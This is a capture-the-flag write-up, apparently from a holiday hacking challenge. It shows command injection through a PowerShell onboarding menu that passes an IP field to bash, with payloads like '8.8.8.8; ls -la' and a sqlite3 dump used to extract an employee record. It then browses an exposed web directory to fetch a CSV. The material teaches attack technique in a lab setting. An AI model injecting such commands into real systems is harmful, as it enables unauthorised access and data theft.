Objective

1545393808358

Terminal - The Name Game

Challenge

I’ll find Minty Candycane to the left of the main entrance:

1546340089902

Can you help me? I’m in a bit of a fix.

I need to make a nametag for an employee, but I can’t remember his first name.

Maybe you can figure it out using this Cranberry Pi terminal?

The Santa’s Castle Onboarding System? I think it’s written in PowerShell, if I’m not mistaken.

PowerShell itself can be tricky when handling user input. Special characters such as & and ; can be used to inject commands.

I think that system is one of Alabaster’s creations. He’s a little … obsessed with SQLite database storage.

I don’t know much about SQLite, just the .dump command.

The terminal starts with an onboarding:

We just hired this new worker,
Californian or New Yorker?
Think he's making some new toy bag...
My job is to make his name tag.

Golly gee, I'm glad that you came,
I recall naught but his last name!
Use our system or your own plan,
Find the first name of our guy "Chan!"

-Bushy Evergreen

To solve this challenge, determine the new worker's first name and submit to runtoanswer.



====================================================================
=                                                                  =
= S A N T A ' S  C A S T L E  E M P L O Y E E  O N B O A R D I N G =
=                                                                  =
====================================================================
 Press  1 to start the onboard process.
 Press  2 to verify the system.
 Press  q to quit.
Please make a selection: 

Solution

The terminal dumps me into the Castle Employee Onboarding program. I need to use this program to do a couple things:

  • Find the first name of the new employee “Chan”
  • Run the runtoanswer program to submit

When I select option 2, I get the following prompt:

Validating data store for employee onboard information.
Enter address of server:

If I enter a valid ip address, I get the results of a ping command, and what looks like the output of file on onboard.db:

Validating data store for employee onboard information.
Enter address of server: 127.0.0.1
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.032 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.042 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.044 ms
--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2047ms
rtt min/avg/max/mdev = 0.032/0.039/0.044/0.007 ms
onboard.db: SQLite 3.x database
Press Enter to continue...:

I’m going to guess that the my input is stored in a variable, and that something like ping -c 3 $ip is being run.

At this point I want to test to see if I can perform command injection. If I enter 8.8.8.8; ls -la, I should get both the ping and the contents of the local directory, unless there is some kind of filtering going on. As my ls command runs, I have identified command injection:

Validating data store for employee onboard information.
Enter address of server: 8.8.8.8; ls -la
connect: Network is unreachable
total 5476
drwxr-xr-x 1 elf  elf     4096 Dec 20 14:38 .
drwxr-xr-x 1 root root    4096 Dec 14 16:17 ..
-rw-r--r-- 1 elf  elf      220 Aug 31  2015 .bash_logout
-rw-r--r-- 1 root root      95 Dec 14 16:13 .bashrc
drwxr-xr-x 3 elf  elf     4096 Dec 20 14:38 .cache
drwxr-xr-x 3 elf  elf     4096 Dec 20 14:38 .local
-rw-r--r-- 1 root root    3866 Dec 14 16:13 menu.ps1
-rw-rw-rw- 1 root root   24576 Dec 14 16:13 onboard.db
-rw-r--r-- 1 elf  elf      655 May 16  2017 .profile
-rwxr-xr-x 1 root root 5547968 Dec 14 16:13 runtoanswer
onboard.db: SQLite 3.x database
Press Enter to continue...

I see the onboarding database. I also see menu.ps1, which is likely the current running program.

Next, I’ll use the command injection to dump the database. As I’m dealing with a sqlite database, I’ll use sqlite3 to interact with it. I’ll start my input with 2>/dev/null; to redirect the ping output to nowhere.

First, I’ll list the tables (my comment added with <--):

Validating data store for employee onboard information.
Enter address of server: 2>/dev/null; sqlite3 onboard.db .tables
onboard                                      <-- result from sqlite3
onboard.db: SQLite 3.x database
Press Enter to continue...:

Only one table. I’ll try some other commands. I can put full queries into 's to get them to run, or I can just drop into an sqlite3 shell by running 2>/dev/null; sqlite3 onboard.db (I’ll use -- to comment my queries):

sqlite> select count(*) from onboard; -- how many rows
160
sqlite> select sql from sqlite_master; -- column names
CREATE TABLE onboard (
    id INTEGER PRIMARY KEY,
    fname TEXT NOT NULL,
    lname TEXT NOT NULL,
    street1 TEXT,
    street2 TEXT,
    city TEXT,
    postalcode TEXT,
    phone TEXT,
    email TEXT
)
sqlite> select * from onboard limit 1; -- example row
10|Karen|Duck|52 Annfield Rd||BEAL|DN14 7AU|077 8656 6609|karensduck@einrot.com
sqlite> select fname,lname from onboard where lname = "Chan"; -- first and last name of Chan
Scott|Chan

Alternatively, I could have just dumped the database (with .dump as Minty alluded to) and used grep:

Enter address of server: 2>/dev/null; sqlite3 onboard.db .dump | grep Chan
INSERT INTO "onboard" VALUES(84,'Scott','Chan','48 Colorado Way',NULL,'Los Angeles','90067','4017533509','scottmchan90067@gmail.com');
onboard.db: SQLite 3.x database
Press Enter to continue...:

I still need to run runtoanswer to complete the challenge. I remember seeing it in the ls I first did to show injection. Since it’s in the local directory, I’ll just use ; ./runtoanswer

And that gives me another achievement:

1546394935764

Alternative Solution

I took a look at the source for this program by entering ; cat menu.ps1. I won’t show the entire script here, but the here’s the section where the menu input is handled (with two comments added by me):

try
{
    do
    {
        Show-Menu
        $input = Read-Host 'Please make a selection'
        switch ($input)
        {
            '1' {
                cls
                Employee-Onboarding-Form
            } '2' {
                cls
                Write-Host "Validating data store for employee onboard information."
                $server = Read-Host 'Enter address of server'
                /bin/bash -c "/bin/ping -c 3 $server"   <--- injection here!
                /bin/bash -c "/usr/bin/file onboard.db"
            } '9' {                                     <--- undocumented option
                /usr/bin/pwsh
                return
            } 'q' {
                return
            } default {
                Write-Host "Invalid entry."
            }
        }
        pause
    }
    until ($input -eq 'q')
} finally {
}

First, I can see the injection point, where powershell is calling /bin/bash and passing in my input.

More interestingly, there’s an undocumented menu option - 9. Just entering that drops me into a PowerShell prompt:

Please make a selection: 9
PowerShell v6.0.3
Copyright (c) Microsoft Corporation. All rights reserved.
https://aka.ms/pscore6-docs
Type 'help' to get help.
PS /home/elf> ls                                                                               
menu.ps1  onboard.db  runtoanswer
PS /home/elf> 

From here, I could call sqlite and continue just as the previous solution.

Hints

On solving, Minty tells me the following, and unlocks two hints about looking for directories that have directory listing enabled:

Thank you so much for your help! I’ve gotten Mr. Chan his name tag. I’d love to repay the favor.

Have you ever visited a website and seen a listing of files - like you’re browsing a directory? Sometimes this is enabled on web servers.

This is generally unwanted behavior. You can find sleighloads of examples by searching the web for index.of.

On a website, it’s sometimes as simple as removing characters from the end of a URL.

What a silly misconfiguration for leaking information!

1546395459599

1546395470702

</a>

Directory Browsing

Site Overview

The CPF Site, cfp.kringlecastle.com, is relatively sparse:

The only link on the page points to https://cfp.kringlecastle.com/cfp/cfp.html:

Directory Browsing

Seeing the second page at path /cfp/cfp.html, I decided to check out the /cfp directory. It had directory listing enabled, and a csv with rejected talks:

1545395641309

Find Papers in Data

I’ll grab the data with curl and use grep to find the paper I’m interested in:

root@kali# curl -s https://cfp.kringlecastle.com/cfp/rejected-talks.csv | grep "Data Loss for Rainbow Teams"
qmt3,2,8040424,200,FALSE,FALSE,John,McClane,Director of Security,Data Loss for Rainbow Teams: A Path in the Darkness,1,11

Since I need the answer in the form “first last”, I can use cut to select the data I want and tr to replace the , with ` `:

root@kali# curl -s https://cfp.kringlecastle.com/cfp/rejected-talks.csv | grep "Data Loss for Rainbow Teams" | cut -d, -f7-8 | tr "," " "
John McClane

Answer: John McClane

On submitting that to my badge, I’ve got another achievement:

1546381216226